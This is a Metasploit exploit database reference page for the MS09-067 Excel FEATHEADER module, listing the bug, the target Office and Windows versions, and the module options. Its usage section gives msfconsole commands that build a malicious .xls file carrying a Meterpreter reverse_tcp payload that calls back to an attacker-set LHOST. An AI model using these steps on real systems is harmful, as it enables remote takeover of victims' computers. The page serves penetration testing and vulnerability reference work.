Microsoft Excel Malformed FEATHEADER Record Vulnerability | Metasploit Exploit Database (DB)

Microsoft Excel Malformed FEATHEADER Record Vulnerability

This module exploits a vulnerability in the handling of the FEATHEADER record by Microsoft Excel. Revisions of Office XP and later prior to the release of the MS09-067 bulletin are vulnerable. When processing a FEATHEADER (Shared Feature) record, Microsoft used a data structure from the file to calculate a pointer offset without doing proper validation. Attacker supplied data is then used to calculate the location of an object, and in turn a virtual function call. This results in arbitrary code exection. NOTE: On some versions of Office, the user will need to dismiss a warning dialog prior to the payload executing.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • Sean Larsson < >
  • jduck < jduck [at] metasploit.com >

Vulnerability References


Exploit Targets

  • 0 - Microsoft Office 2002 (XP) SP3 base English on Windows XP SP3 English
  • 1 - Microsoft Office 2002 (XP) SP3 w/kb969680 English on Windows XP SP3 English
  • 2 - Microsoft Office 2003 SP0 English on Windows XP SP3 English
  • 3 - Microsoft Office 2007 SP2 English on Windows XP SP3 English
  • 4 - Crash Target for Debugging

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/fileformat/ms09_067_excel_featheader
msf exploit(ms09_067_excel_featheader) > show payloads
msf exploit(ms09_067_excel_featheader) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ms09_067_excel_featheader) > set LHOST [MY IP ADDRESS]
msf exploit(ms09_067_excel_featheader) > show targets
msf exploit(ms09_067_excel_featheader) > set TARGET [TARGET ID]
msf exploit(ms09_067_excel_featheader) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.xls)
OUTPUTPATH The output path to use. (default: /home/svn/.msf4/data/exploits/)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
WfsDelay Additional delay when waiting for a session